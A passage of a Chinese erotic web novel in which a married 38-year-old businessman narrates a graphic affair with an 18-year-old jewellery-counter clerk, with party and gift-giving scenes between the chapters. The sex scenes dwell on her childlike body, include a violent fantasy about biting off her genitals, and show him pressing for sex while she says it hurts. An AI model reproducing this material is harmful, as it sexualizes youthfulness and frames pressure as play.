图片载入中

你坏死了 1-10

特大字】 【大字】 【中字】 【小字

你坏死了

2011年9月的一个下午,我躺在,不,是跪在惠家酒店商务间的大床上,低头看着自己的鸡巴在一个还没长齐毛的小屄里停不住地进进出出,脑子里那叫一个百感交集。

事后想来,百感浓缩成这么几感:谁说女人关了灯都一样?这小屄明显和我操过的其他各屄都不一样!真紧!水分真足!年轻女孩的屄都这样么?

丫的真年轻啊!才十八!吃什么长的,奶子这么大!现在小姑娘够野,认识没几小时就让我这大她二十岁的老男人办了,而且是主动要求办的!

二兄弟,这是你操过最嫩的屄了,老大我对得起你吧?不着急,咱慢慢操! 使劲!使劲……

一、吉祥哥的饭局

先介绍一下自己。我叫孙旭,在一个不太有名的北方小城里土生土长。老爷子以前是某国企的工程师,1989年下海,混到市里第一批私企老板,二十多年积累,小康有余,土豪不足。老娘是市医院的资深护士长。

我有一兄一姐,长兄好学,医学博士,早早出国定居。二姐比较平庸,一份稳定的工作,一个可靠的男人,一个可爱的女儿,与世无争。我虽是孙家家产铁定的继承人,二世祖一枚,但因从小家教严,哥哥姐姐榜样好,也凭真本事考上的重点大学。毕业后听老爷子的话回家,又凭真本事考上的第一批公务员,然后结婚、生子。本以为就这么静待老爷子退休接班,没想到2008年帮朋友做个生意做到风生水起,索性辞职下海,目前也算小成。老爷子对此还算满意,有次过年多喝了两杯,拍着我脑瓜子说了句,还是老三象我!

做生意有好处也有坏处,好处且不提,坏处是天天在花花世界里泡着,喝酒赌钱把妹的事跑也跑不了,好在自己节制,家里也处得和谐,后院一直太平。 话说这天,我正在公司看招标文件,手机响了,一看是吉祥哥,先互开了几句玩笑,然后约中午吃饭,临了吉祥哥还神秘兮兮地来了句“有惊喜”。有毛惊喜!估计又新把了个妹子拉来显摆。挂了电话接着干正事,安排明白了一看已近十二点,出门打的,直奔饭局。

在我圈子里,吉祥哥地位比较特殊,因为我俩是发小,2008年的生意也是和他一起做的。他长我一岁,瘦小个子,生意精明,为人义气,就是在女人方面有点过,离了两次婚,索性不再结了,正好出入红尘方便。

吉祥哥饭局设在海天一色,一家海景私人会所,本城烧钱摆阔装逼第一胜地是也。出租车禁入,大门口下车给保安报房号,保安和总台对讲确认,一辆高尔夫球车把我载到请大家警惕骗子广告!专区。这里的包间带休息室、阳台温泉、KTV和桌球棋牌,也就是说只要你想,在这干啥都行。干啥?用二兄弟的脑袋想想就知道。进包间的时候我就想,吉祥哥不会已经在演现场AV了吧?

门开处见到一男一女坐在沙发上说话,还好,都穿着衣服。

吉祥哥见我来了,上前很热情地捣了我一锤,靠!下手不轻!

“兄弟,来认识一下,高薇,我朋友。小薇,这我铁哥们,孙旭,大老板,你叫就孙哥好了!”

那女的站起来笑着冲我叫了声:“孙哥好!”我赶紧回话:“美女你好,别听他的,大老板请客都在海天一色,我请客在路边店。”

大家打着哈哈寒暄几句,我也趁机扫描了一下这位叫高薇的妹子。染棕波浪齐肩发,鹅蛋脸,眼睛不算大,鼻子和嘴生得很秀气,模样可打80分以上。一身民族风扎染青布裙,半低胸,事业线可观,腰围很细,腿长一般,皮肤有点发暗,鞋和包都是大路货,说话声音挺甜,但举止带点土气。联想到吉祥哥口味比较重,今天又舍得带这位妹子到基础消费每位988的包间来,想必功夫有过人之处。

说话间服务员请入席,我一看摆了四个位子,就问吉祥哥。他却一脸坏笑:“我说有惊喜,你就等着吧。”说完别过脸去冲高薇挤眉弄眼,两人很有默契似地淫笑起来。靠!难道要给我拉个皮条?成色不好我还未必上眼!反正你请客你花钱,哥淡定得狠。

我爱吃简单食物,海天一色这种地方的菜色并不对我胃口。上菜后喝了一碗海参杂粮粥打底,拣几筷子小菜下酒,其他的基本不动。吉祥哥给高薇开了瓶法国干红,我俩喝梦之蓝。酒未过三巡,俩货各种打情骂俏就开场了,而高薇的土气也明显上涨,不过这姑娘不装,不让人讨厌。

吃喝了大约十来分钟,高薇的手机响了。俩货一齐看,吉祥哥冲我挤挤眼说:“惊喜来了,做好准备。”高薇接通电话,一个明显不忿的尖锐女声在非免提状态下隔着一张桌子钻进了耳朵。

“姐!你是不是在这?他们不让我进去!”

吉祥哥当然也听到了,连忙招唿服务员跟门卫确认。高薇一连声地安抚:“好了好了,你别火,马上就接你过来啊!……嗯,别冲门卫张罗,给你哥掉价……嗯,好,好。”

嗯,是够掉价的。到此时,我已经对这惊喜没了兴趣。几分钟后,服务员开门领进一个人,我甚至没有回身看一眼的欲望,直到吉祥哥和高薇起身向我介绍,我才半情不愿地把目光投向这位“惊喜”,然后看见了一张每个毛孔都向外冒着青春二字的脸。

用文字挺难精准描述一个人的长相,我努力试试。

马苏,《北京青年》里演权筝的,这两年很火的那个,想起来了?我眼前这位妹子的脸与马苏相似度90%以上,或者干脆就叫高中版马苏。干净俏皮的短发,因为刚才的生气和眼前的新奇而潮红的脸蛋。感谢这年异常的气候,进了白露中午还有三十度,妹子穿了一身柠檬黄配蓝杠杠的山寨阿迪短T短裤,把一米七左右的个头,D以上的胸器和夸张点说有一米多长雪白笔直的腿全都贡献在本狼的眼里。我看傻了,看硬了!居然没听见高薇介绍这妹子叫什么名字!

我已经记不得当时怎样寒暄,怎么坐下。几分钟之后,我恢复了理智,心中充满对吉祥哥的无限热爱!我开始献殷勤,讲段子。妹子个性挺开朗,没多久就和我熟络起来。终于,在某个对话里又听到了妹子的大名:季晓萌。

男男女女美食美酒,气氛自然是愉快和谐。说话间我搜集到一些信息,原来两位美女都是本城某银楼的柜台女,吉祥哥上月给老娘做寿订了批金货,一来二去勾上了高薇,季晓萌和高薇一个柜台又合租一套房,所以吉祥哥就让高薇帮忙,给我拉个皮条试试。

席间吉祥哥去放水,我也跟去了。在洗手间里我问:“这么优的妹子你怎么不留着?”吉祥哥笑笑:“你又不是不知道,我喜欢会玩的。这小丫头刚满十八,能懂什么?你不是二十五岁以上免操吗?那就给你找个超嫩的。”我笑了,说:“那就谢谢哦!”吉祥哥也笑了:“悠着点,别肾亏!”

饭后唱歌。高薇唱得不错,吉祥哥和季晓萌一个公鸭子一个母鸭子。本狼从小好嗓子,大学时代组过乐队,一曲唱罢两位妹子满脸崇拜轮番敬酒。唱了不一会,我发现吉祥哥开始对高薇又啃又摸,高薇这娘们也真是猛,很配合地坐上大腿,隔着裤子一个劲地磨他鸡巴,到后来吉祥哥干脆解开了高薇的裙扣,把她上半身给露了出来!白花花的肉,黑蕾丝的bra,包间里的气氛立马变得淫乱。 季晓萌紧紧贴在我身上,眼睛里说不清是水还是火。好吧,到这时候还装什么绅士,我恶狠狠地一口啃上了她的嘴。

萌妹子的舌头又嫩又滑,在口腔里动个不停,食物和酒的残味更刺激了我的欲望。把手伸进短T,一把抓住乳房,隔着胸罩也能感觉到这团肉的分量和质量。 我打算把胸罩解开,可又一想,这么优的妹子第一次搞,不能在人前泄了春光。

偷眼一瞄吉祥哥那边,居然把高薇的胸罩解开了正在埋头吃奶!好奶,又挺又翘,乳晕大得很性感。这时季晓萌松开了接吻的嘴,一脸迷离地看着我小声说:“哥,我不想在这里,走吧?”

不错,这妹子至少比高薇纯点。我亲了一下她的脸蛋,帮她整整衣服从沙发上拉起来。回头再看吉祥哥,一只手已经拉起了高薇的裙摆,正伸在黑蕾丝内裤里不知是抠屄还是捏屁股。

“哥,我先走了,你慢慢玩啊!”

“唔……唔……”吉祥哥的嘴粘在高薇的奶子上,擡手一挥。高薇居然扭过头来说了声:“孙哥慢走啊……嗯……”这呻吟的尾音让我的欲火一下升了三丈高。一刹那,我有强烈的预感,这妞必定会跟我有一腿,但是今天,谁也代替不了季晓萌了。

二、萌妹子

离开会所,就近在惠家酒店开房。进了酒店三楼的商务间,我一把抱住季晓萌狂吻起来。平时酒后不太容易硬的鸡巴瞬间立正,我俩三把两把扯光身上的衣服,抱着亲着倒在了大床上。

上面亲着嘴,下面摸着腿,萌妹子的腿细滑结实手感实在没得说。一路往上,摸到了妹子的妹子,却没有碰到习惯中的毛刷子。我一下撑起身,看向那片三角区,粉白的两条大腿夹着一个隆起的小肉包子,上面只有几根又细又软的小绒毛。 传说中的馒头屄啊!我想都没想,一头扎上去,张大嘴把这小肉包子吞了进去。

季晓萌“啊!”的一声,双手紧紧抱住了我的头。

汗味、骚味、少女的肉香味,平时挺讲究的我,今天居然不管不顾地吃起这一天没洗的屄来。时过经年,依然记得舌头划开屄缝时少女爱液流入口中的滋味,依然记得萌妹子突然张开双腿把我的头死死按在屄上嘴里一个劲地叫着“哥…… 哥……不要了……受不了……哥……“,依然记得两片阴唇填满口腔那种饱满的肉感,依然记得舌头插入阴道嘴唇摩擦阴蒂时萌妹子全身抖颤肌肉僵硬…… 这一刻,我心里充满了一个绝对够黄够暴力的念头,我要把这个爱死人不偿命的小嫩屄整个咬下来,连血带肉还有淫水全都吞进肚里!

突然,季晓萌两腿一绷,把我的头紧紧夹住,小屄往上一挺老高,嘴里嘶嘶啊啊地听不清叫些什么,一股暖流唰地流进我嘴里。丫的这么快就高潮了? 我意犹未尽地爬起身,高潮后的萌妹子闭着眼喘气,胸口一对大奶子一起一伏地诱惑着我。我躺到她身边,仔细欣赏着抚摸着这对希世好奶。年轻真好!这么大的胸器平躺着依然挺拔,乳晕和乳头都是浅粉红色,一个乳头因为高潮已经硬挺得象颗小红豆,而另一个还可爱地内陷着。一口叼住那颗内陷的乳头,舌头舔进那个小凹里,萌妹子全身又是一个哆嗦。用牙轻咬,嘴里轻轻用力抽吸,一只手跑到小屄那里,指头肚揉着那个小肉粒,萌妹子的哆嗦立马连成了片,嘴里又哼哼唧唧地唱起了歌。功夫不负有心人,三吸两吸,那个内陷的乳头终于让我给吸了出来,而萌妹子的手不知什么时候已经握在我硬成钢管的鸡巴上了。 “哥……”

“嗯,怎么了?”

“来……”

“来干吗?”

“你坏死了!来嘛……”

我笑了,亲了妹子一口翻身上马。妹子很配合地张开腿,我挺着鸡巴往那个最湿最热的地方一顶……没进去!再顶,还是没进去!

奇了怪了,应该不是处啊,怎么就进不去?

我坐起身,把妹子两片粉嫩粉懒的阴唇分开,一个还没筷子粗的小肉洞露了出来。看着那一张一合的粉洞洞,鼻血要喷十米啊有木有!我调整一下姿势,握着鸡巴用着寸劲,小心翼翼地拱进了这条年仅十八岁的阴道。

我幸福得要哭了。

又滑又韧的屄口一路勒过龟头,勒进冠状沟,勒着肉棍子慢慢往下撸。我一直不太相信所谓的“名器”,也许是从未有幸遇上,可今天这小嫩屄紧得能把里面每个肉褶每个肉芽都在鸡巴上压出印子,每进去一毫米都有不同的感觉重重敲进大脑。插入的过程缓慢得很隆重,直到龟头顶着了一个滑熘熘弹QQ的肉骨朵。 我使劲往里顶了一下,萌妹子哼了一声,双手抱住了我的腰。

“哥,疼……”

“好,我轻点……”

我伏下身,握住妹子一只奶子,亲上她的嘴,鸡巴在又湿又暖又紧的小嫩屄里开始缓慢温柔地抽插。几十下之后,阻力小了一些,我试探着用力深顶了一下。 “啊……”

“还疼?”

妹子摇下头。我又深顶了一下。

“啊……”

再顶,再顶,再顶再顶再顶……

“啊……啊……啊……啊……顶死了……哥……哥……太硬了……”

我要疯掉了!起身一手掐奶一手托腰,挺着随时都会爆炸的鸡巴一轮狂操。 萌妹子娇声连天,到后来变成了粗重的喘息。几分钟后,一声沙哑的哀鸣从妹子胸腔深处爆发出来,鸡巴就象被一把攥住似地卡在小嫩屄里进退不能,一股热流浇在龟头上爽得我直打哆嗦。

我发现自己陷入了一个两难境地。季晓萌的小嫩屄简直就是个超级吸精工具,每操一下都强烈地想射精,可是插在里面真他妈的太舒服了,让人恨不得一辈子都不要射不要拔出来。我平复了一下鸡动的心情,伏下身深情地,真的是深情地,吻上了妹子的小嘴,一手撑着身子,一手温柔地抚摸着妹子的身体。

一会儿,妹子睁开了她漂亮的大眼睛,忽闪忽闪地看我。

“怎么了?”

妹子摇摇头,娇羞地笑了。

“舒服吗?”

“嗯……”

“有多舒服?”

“你坏死了!”

“我还没坏够呢?”

妹子又娇羞地笑了,说:“哥,我想喝水。”

鸡巴拔出小屄的时候,仿佛听到它在悲愤地控诉,同时看到一股清亮的液体冒着泡流了出来。

给妹子倒了一杯水,我到洗手间拧了一条热毛巾,回来给妹子擦了身上的汗洞口的水和我鸡巴上亮闪闪的粘液。擦鸡巴的时候季晓萌瞟了几眼。我笑问她:“看什么?”

“好大哦!”

其实也不算太大吧?不过今天二兄弟看起来就是比往常精神许多。我笑了笑,爬上床又占领了季晓萌两腿之间的攻击阵地。

“我要继续坏了!”

“嗯。”

季晓萌挪了挪屁股,挺着腰把小嫩屄送到了我的鸡巴面前。我还是用手分开了她的阴唇,刚才粉粉的小肉洞现在已经充血成了樱桃红。一使劲,鸡巴不太顺利地进去了一半,再一使劲,顶到了肉洞深处的子宫口,萌妹子又轻哼了一声。 看着自己三十八岁的鸡巴插在十八岁的极品小嫩屄里,脑子里不由自主地出现了文章开头那些个百感交集。

正在出神呢,季晓萌突然楚楚可怜地说了声:“抱抱……”

这姑娘是不是个妖精啊?我真要被她化掉了。

我伏下身紧紧抱住了她,嘴里品尝着幼滑的小舌头,胸口顶着两个新鲜出炉的大肉包子,鸡巴感受着小嫩屄里每一次紧缩和蠕动。一瞬间,感觉象是回到了高中时代,正在和心仪已久的女同学偷尝禁果。可是我的高中,包括大学,从没有这种美事降临!

我就这么趴在季晓萌的身上,抱着,吻着,一个姿势结结实实地操了一个多小时。小姑娘又高潮了两次。第二次高潮缓过来,发现我的鸡巴还硬硬地插在她的屄里,她带着点哭腔对我说:“哥,我受不了了。”

自有性事以来,我从未有过如此神勇的表现,真是难为她了。我点点头亲了她一下,说:“好,你再坚持一下,我快到了。可以射里面吗?”

“嗯……”

我放松了自己努力抽插起来,突然觉得小嫩屄一下子收紧了不少。擡眼看她,闭眼咬牙一脸用力的样子。她在用屄夹我!忍无可忍了,我象打了鸡血一样拼命做着活塞运动,精管里的压力直线上升!小嫩屄夹一阵子松了,停几秒又夹上了,一夹一松的间隔越来越长,估计妹子快脱力了吧?突然,妹子两腿一勾圈住了我的屁股,小嫩屄使劲顶我鸡巴,嘴里喘着叫着:“哥……啊……啊……操死我了……射……射我……”我了个去!这一声谁受得了?强烈的神经冲动沿着嵴椎一路向下冲进了鸡巴,我全身一个哆嗦,腰一挺,鸡巴紧紧顶住了小屄深处的肉骨朵,沸腾许久的精液冲开闸门,一发连着一发狠狠地射了进去。

许久许久,我回过神来,发现自己趴在萌妹子身上,鸡巴还没完全软滑出她的阴道。萌妹子很体贴,正轻抚我满是汗的后背。

“压着你了?”

“没事。”

“累不?”

“嗯,腿酸了。”

我抱歉地笑笑,想起身,有点头晕。

“再躺会吧,你出了好多汗。”妹子拿过毛巾帮我擦头上的汗。

“今天有点过了,折腾着你了吧?”

“你坏死了!”

说话间鸡巴被挤出了小嫩屄,妹子一声娇唿:“呀,淌了。”

我接过毛巾,翻身下马,分开妹子的腿,把毛巾堵在了被操得又红又肿合不拢嘴还咕嘟咕嘟冒白浆的肉洞口。

再躺回季晓萌身边,我一手托着头,一手握着她骄傲的乳房,从头到脚欣赏着这具活力和美丽都十足的年轻肉体。屋外的阳光透过没拉紧的窗帘照在她脸上,细小的绒毛映出淡淡光晕,不知应该描述成纯洁还是色欲。以前偷腥,基本都是一夜风流两不牵挂,但这一次我想,这个妹子我把定了!

激战过后,我和季晓萌都累到不行。冲过澡,我俩抱着没说几句话就睡起觉来。睡得正香,手机响了,不是我的。萌妹子迷迷登登摸过手机,定神看了一眼,冲我说:“高姐。”

什么意思?吉祥哥没喂饱她要来我这儿玩双飞吗?还是吉祥哥要来玩4P大乱战?

萌妹子唔唔嗯嗯半天,挂了机对我说:“高姐刚才回租房,小区停水停电了,问我在哪,她想过来住一晚。”

我不太高兴,问:“她没和吉祥哥在一块?”

“吉祥哥有事,把她送下就走了。”

我一想,酒店是订的整天,但今晚我没打算夜不归宿,干脆就送个顺水人情吧。于是我对萌妹子说:“我今晚有个订好的饭局,不能在这陪你,你愿意就让她来吧。”

“嗯。等会再和她说。”

萌妹子把手机放回床头柜上,转身钻到我怀里,仰着脸闭着眼索吻。这一吻足足五分钟,我双手也没闲着,摸奶捏屁股搞得妹子娇喘连连,二兄弟又朝气蓬勃地起床了。

一翻身把妹子压在身下,把腿左右一分,硬鸡巴顶上了热烫烫的小嫩屄。萌妹子花容失色,想推我可能怕我生气,就那么紧抓着我的胳膊可怜巴巴地看我。 “再来一次?”我坏笑着问她。

“哥……里面有点痛……”

“你看,又硬起来了,不做很难受。”我成心逗她,也想试试她。说话间一低头,在她两个又白又香的乳房上舔吸起来。

“啊……哥……那你轻点,不做那么久好不?”

我暗笑,再逗逗她:“我做第二次一般时间会更长!”说着话腰一沈,小嫩屄包住了我的龟头。真把妹子操狠了,洞里没多少水。

“啊……哥……”妹子的声音带上了哭腔。我从乳房一路吻到耳垂。“你想……就做吧……”

真好的妹子,那咱得多疼着点。我和妹子又打了个五分钟的长啵,二兄弟欲哭无泪地告别了二妹子。

“逗你玩呢!”

“啊!你坏死了!”萌妹子轻拧了我一下,又甜蜜地抱紧了我。

“那我真坏了哦!”

“不要,不要,你好!”

“真不想要了?”

“嗯……也不是不想,真的痛,里面火辣辣的。”

“对不起了。”至少我自己觉得这话是真心的。

萌妹子摇摇头,又吻了我一嘴。

“一会儿给你买点药水,晚上洗洗吧?”

“不用了,我自己去买吧。”

“你知道用什么?”

“高姐知道,让她帮我买。”

不知怎么,一想到高薇,我就有一丝隐隐的不快。

又缠绵了一阵,眼见太阳快要落山,我起身穿好衣服,从手包里抽出十张票子,和酒店的押金单一起递给了萌妹子。

“晚上不能请你吃饭了,你和高薇一起吃吧,别忘退房。”

“嗯。”这一瞬我俩的表情都有点小尴尬。

低头一吻,我快步走出了房间。

三、日久生情

日久生情是个双关语。

初战告捷之后,我和季晓萌平均一两个周幽会一次。妹子很排斥口交,肛交这玩意儿我自己都嫌埋汰。试了乳交,爽度一般,妹子也没觉得有什么快感,偶尔当成前戏玩玩。不过我真觉得,和季晓萌的小嫩屄比起来,这个交那个交体位技巧什么的都是浮云。我们操练时,大多是传统的男上女下,有时甚至就那么抱在一起上面亲着中间摸着下面操着一个姿势到底。有次强把妹子翻过来操了个小狗式,没操两分钟,自己就觉得不爽,因为看不见承欢娇色摸不着弹手酥胸,情趣大打折扣。某资深老狼曾说“好屄养人”,把上萌妹子方知此言不虚。每次和萌妹子云雨过后,感觉神清气爽通体舒泰,时间一长发现自己情绪心态都阳光了许多。更不可思议的是,把上萌妹子之后我的生意连中大彩,三个月业绩比往常最好的年份都高!慢慢的,我和季晓萌已经不是操屄而是做爱了。

做爱可以,爱则万万不可以。上床郎情妹意,下床互不添乱,这一点季晓萌倒也默契,偷情岁月风平浪静地迎来了2012年。

忘了说说,季晓萌家在小城下辖某县的农村,家里有果园,还开了个小门市,父母务农之余做着农资果品之类的生意,是十里八乡数得着的殷实人家。季晓萌从小调皮好玩,学习成绩免谈,初中毕业明摆着大学无望,家里出钱把她送到小城某职业学院混了三年。毕业后不想回农村老家,就找了个柜员的工作这么吊着,工资不但一分钱不用支援家里,家里倒怕委屈孩子时不时支援她两个。这也从侧面证实了季晓萌告诉我的一件事:吉祥哥不是没打她主意,是她嫌吉祥哥又老又矮又丑,根本就没兴趣。当时我笑问她:“我就比吉祥小一岁,你怎么不嫌我老?” “你?说你二十来岁有得是人信。”

“拍马屁呢?”

“真的!”妹子又睁大了那双水灵灵的大眼睛。“才看到你觉得也就二十七八,还以为你是那老头的司机呢!”

“靠!那你这不是不跟老大跟小弟了?”

“你要真是他小弟我才鸟你!”

“怎么说?”

“说不上来,反正你和他不是一路。”

虚荣心得到满足,奖励妹子一个法式大湿吻吧。嗯!嘴甜,舌头更甜。要是……要是能给我舔舔鸡巴那就太完美了。

妹子抱着我突然一个翻身,趴到了我身上。

“太阳从西边出来了?”

“嘿嘿,今天我侍候你。”妹子摸索着把我的鸡巴夹在她两腿间,用她湿漉漉滑熘熘的屄缝子一上一下地磨着。我双手揉着她的结实挺翘的小屁股,不时挺一下腰,闭眼享受鸡巴杆子被淫水泡湿被嫩肉夹紧这种似操非操的快感。

“哥……”

“嗯?”

没有下文。

我睁开眼,看见萌妹子一脸红晕,柔情似水地看着我,心里咯噔一下。不是吧?难道要向我表白?

“怎么了?”

妹子看看我,咬了下嘴唇,把头慢慢靠在我肩膀上。沉默,诡异的沉默。几秒钟后,我把揉着她屁股蛋子的双手环在了她背后,紧紧抱住了她。

感觉,只是感觉,萌妹子无声地叹了口气,然后在我脸上亲了一口,微擡起腰,双腿分在我身体两侧,右手伸入胯下,扶着我有点软化的鸡巴,慢慢插入了她的阴道。

心中五味杂陈啊!突然间觉得自己真不是个东西。

有那么几分钟,我就这么木着,任由季晓萌在我身上赌气似地起起落落,直到她小声在我耳边说了句:“老公……操死我!”

这句话象颗超强春药瞬间引爆了我的全部兽性。我一把掐住萌妹子的小蛮腰,鸡巴象冲击钻一样疯狂地刺向她的屄芯子。萌妹子爆发出一声母兽的哀嚎,双手撑住我胸口头向后一仰整个人反弓着不住地抽搐颤抖。

萌妹子只和我做过两次骑马式,她嫌累,我嫌捅不到底。可今天就算她腿夹得再紧我也能次次到底。电钻模式开动没多久,鸡巴上传来了熟悉的紧握感,越来越紧,越来越紧,紧到撸得包皮系带都隐隐作痛。我咬住牙,使足全身力气,艰难地保持着抽插的频率和强度。萌妹子已经叫不出声,张着嘴象离水的鱼,奶子抖成两团肉花。

“啊……”一声嘶哑的呐喊。萌妹子双手死死把我摁在床上,屄芯子紧压着龟头,热烫的液体一股股从子宫深处泄出来,全身特别是小腹一下接着一下非自主地抽动。这种抽动传到被阴道握得结结实实的阴茎上,让我产生了一种奇怪的错觉:我的鸡巴正插在一颗活生生跳着的心脏里。

高潮的强直过去了,萌妹子象泥一样瘫在我身上。我抱着她,抚着她的背,帮她慢慢回气。

“老公……”

“嗯!”

“今晚别走好不好?”

“……好,不走了。”

萌妹子双手环住我的头,一下把我抱得好紧。

“你上来……我不行了。”

“不行就不要来了,休息会儿。”

“嗯∼”撒娇的声音。

我把她抱起,以她的小屁股为支点,不倒翁式翻了180度,铁硬的鸡巴泡在热水瓶似的小嫩屄里一点没掉出来。抽,插,抽,插,没了刚才的疯狂,每一下都是温柔。

“不痛吧?”

萌妹子摇摇头,挺起胸迎接我的魔爪。

“老公……”

“嗯?”

萌妹子的脸更红了几分。她把我拉近,在我耳边又小声说了句:“你还没… …操死我呢!“

这个小妖精!这是想要人命吗?

哥真生气了!后果很严重!

我一个蹦高从床上跳下,抓了个枕头往床边一放,一把拖过季晓萌的屁股搁到枕头上,双手一用劲,把她的腿噼成了一字马。腰一沈一挺,怒火中烧的大鸡巴扑哧一声扎进了小嫩屄!

萌妹子说过,她上学时最好的功课就是体育,下腰噼叉空翻什么的都不在话下。一直想玩点高难度的,今天自己送上门来还能让你跑了?我开足马力大干起来,每次插入尽根而没,每次抽出只剩龟头。萌妹子两片大阴唇早已外翻,小嫩屄紧裹着大鸡巴,屄里的嫩肉被操得翻进翻出,淫糜美景尽收眼底。

大开大合,三百回合!怎么觉得萌妹子的屄芯子越操越软?我收住马力,用着韧劲让龟头顶在子宫口上磨圈圈,突然,我的马眼和一张小嘴似的东西贴了个正着。萌妹子的腰一下子腾了空,两腿触电似地缩成一团,生生把我夹出去老远。 我赶紧上前抱住妹子,只见她两眼发直,全身抖成一团,嘴里嘶嘶地直吸冷气。

“怎么了?痛吗?你说话!”我真有点害怕了。

萌妹子大喘了几口气,回过神来,一头扎进我怀里。

“怎么了你?弄痛你了?”

萌妹子摇了摇头,擡手拍拍我胸口,估计是让我等等。

“唉……戳到嗓子眼了都……”

我真心疼了,抱着她想放回正位。她却说话了:“我还要,不许停!”

“不停也得停,让你吓软了。”

萌妹子从我怀里挣出来,一把捞起我半软不硬的鸡巴,很严肃地研究起来。 床边扯过毛巾,撸开包皮擦了几下,没等我明白怎么回事她就一口含了进去! 今晚我已经让季晓萌弄傻了N次,这次最彻底。妹子嘴小,只含进龟头就满了,舌头牙齿一通瞎忙活,生理快感没多少,但是心理快感是王道!见我又无耻地硬了,萌妹子吐出鸡巴,骄傲地弹了它一下,一翻身滚到床边,两腿干净利索地一噼叉。

“老公,来!”

不来是太监中的太监!一杆进洞!插到小嫩屄最深处,故伎重施,龟头一个劲地在子宫口上磨起来,三磨两磨又找到了那张小嘴,项上!萌妹子咬着牙全身打摆子似地直抽,屄里那张小嘴一张一合亲着和尚头的独眼。我一俯身,全身重量都顶在鸡巴头上,一把抓住萌妹子的左乳,狠狠吸进一大口,舌头在她硬绷绷的乳头上用力摩擦。萌妹子终于撑不住了,四肢一收把我紧紧缠住。一点先兆都没有,我的鸡巴突然开始强烈地射精,一发接着一发接着一发接着一发……我要精尽人亡了……那就亡吧!

这天晚上我编了个理由没回家。但我没有再和季晓萌做爱,只是抱着她,和她说话,陪她睡觉。临睡前,她突然想起一件事。

“你知道不?高姐和你那什么哥拉倒了。”

“不知道,为啥?”

“我也不太清楚,瞎猜啊。”

“说来听听?”

“你不是老给我买东西嘛,前些天她天天跟我絮叨你那个哥怎么怎幺小气,估计是因为这个。”

我心说,不是吉祥哥小气,恐怕是我大方了,又或者高薇还不值得吉祥哥大方。

“不关我们的事。睡觉!”

“嗯……抱抱,睡觉!”

四、忙年

进了腊月门,收账付账、打点关系外加各种应酬,我忙得顾头不顾腚。到腊月二十七,该办的事都办完了,准备放假过年。公司算上我一共五个人,全是爷们。有人会问,为毛不招个女的?男女搭配干活不累嘛。我的理论是,要想不吃窝边草,只有窝边不长草。这天下午,我开了个小会,主要内容就是发红包。今年托季晓萌的福——哈哈,我真这么想的——多挣了不少钱。哥不是小气人,每人红包五万,三千元年货一套,每人一部新款三星智能手机外加一年3G套餐。 伙计们高兴啊!把本老板夸得脸都红了!说笑一阵我收了场:“各位该请假的请假,老规矩,今晚疯狂一把!”

刚回自己办公室,手机响了,季晓萌。

“亲,想我没?”我发誓,平时本人说话绝对没这么猥琐,今天心情太好了。 “亲∼想死你了∼”妹子很配合啊!哈哈!

“亲∼我也想死你了∼”

“哈哈!你发春了?”

“嘿嘿!哥今天心情好,被人拍马屁了。”

“姐今天心情也好,放假了!”没大没小的家伙。

“对哦,忘了今天你放假。打算什么时候回家?”

“明天吧?今晚你∼∼不请请我?”

我脑子里突然灵光一闪。

“当然请,不过嘛,你帮我个忙好不好?”

“说!”

“我公司也刚刚放假,按老规矩今晚要吃个大餐再疯狂一把。我单独请你也不好,要不你叫上几个好姐妹过来一起玩?”

“好啊!你们几个人?”

“连我五枚。”

“嗯……问题不大,我先划拉划拉,等会给你电话。”

“欧了!”

没多久手机又响了。

“怎么样?”

“搞定!”

“没找一群恐龙吧?”

“放心,丢不了你的脸。”

“好好好!六点,45号码头。打车来吧,车费报销。”

“车钱姐还是有滴,不用老板报销!对了,我叫了高姐啊。”

“哦?”

“知道你有点别扭,可我叫这么多人撇了她也不好。”

说的也是,面子这东西谁都有。

“没事,反正都熟人。就这么定了!”

“嗯!啵!88!”

没有啵,“88!”

六点刚过,季晓萌和高薇领着三个新妹子闪亮登场。

不错,模样都能打80分以上,关键是年轻,一水的二十上下。伙计们没料到这一出,眼都直了。互相一介绍,我又干了件大气的事,五个妹子一人八百红包(算是出台费?)。这一来,不单是伙计们,连妹子们也一个劲地夸朕圣明。 45号码头西餐是强项。今晚订的西式包间,我主位,季晓萌在右手,其他人等自由组合。北极贝刺身、金枪鱼色拉开场,奶油焗龙虾、安格斯牛排、熏肉蘑菇派、果木烤火鸡四道主菜,小菜甜点不计,香槟干红管够。看样子除了季晓萌,其他妹子都没享受过这种待遇,个个兴高采烈大饱口福更没忘拍照留念微博显摆。伙计们最短的也跟了我两年,深知我挣得起花得起的性格,又加上想在众美女面前装高大上,所以都比较淡定。

八点半大餐结束,个个酒足饭饱。结帐出门,却见满天飘着大雪。大伙儿情绪更加高涨,索性不打车了,一路打打闹闹来到两条街之外的钱柜KTV唱歌。 妹子们都放开了,这一场好疯!伙计们不傻,没人敢碰季晓萌一指头。唱歌期间,除了一对男女同上洗手间二十分钟之外,其他都不到三级片水平,不值一提。十二点半,我看大家醉得都不轻了,便叫停散场。出了门,我拽上季晓萌直接打的走人,其他人爱跟谁跟谁,爱上哪上哪。

往年的年会聚餐我从没在外过夜,今年也不能例外。把季晓萌送到住处,亲亲抱抱哄了两句,然后打车回家睡觉。第二天,我和家里撒谎说还有几个重要关系没处理,然后带着准备好的几件精品年货,开车送妹子回家。

我有三辆车,一辆家用的进口大众高尔夫旅行款,一辆公司用的广本雅阁,还有一辆是因为生了个大胖小子老爷子奖励的奔驰GLK300。雪断断续续地下,路况不好,只能开奔驰越野了。

高速封了。一百五十公里,跑了三个小时。我听季晓萌的,只把她送到县城。 临下车递给她两个信封。

“押岁钱啊?”

“对头!”

“干吗还两个?”

“一个一万,一个两万。你有工作,过年空手回家好意思嘛?”

“那我交一万还是交两万啊?”

“哈哈!这你别问我。”

“嗯,知道了!”萌妹子从副驾驶上探过身来使劲亲了我一嘴。

“回去吧,路上小心。对了,给老公拜个早年!再亲一个!”

啵!

给季晓萌打上车,讲好价付好钱看着车子开走。我大吸了几口清洌的空气,起身返程。雪下大了。半小时后接到萌妹子的平安短信。待回到小城,灯火已阑珊。

春节到,真热闹。贴春联,放鞭炮。穿新衣,戴新帽。恭喜发财过年好,红包红包给红包!

大年初一季晓萌发来的,果然好湿……

除夕在老爷子家守岁,初一大早起来拜年,中午在我叔家吃饭,晚上和吉祥哥一众死党喝酒。这些年来基本都这程序。

有日子没见吉祥哥,瘦了,精神也不太好。一问才知,最近摊上了官司。没说几句,吉祥哥小声问我:“听说把萌妹子养得挺肥?”

我笑笑,回问:“听谁说的?”

“还有谁?高薇那娘们呗!”

“哦。听说你们散了?”

“不是散了,是我草鸡了!”

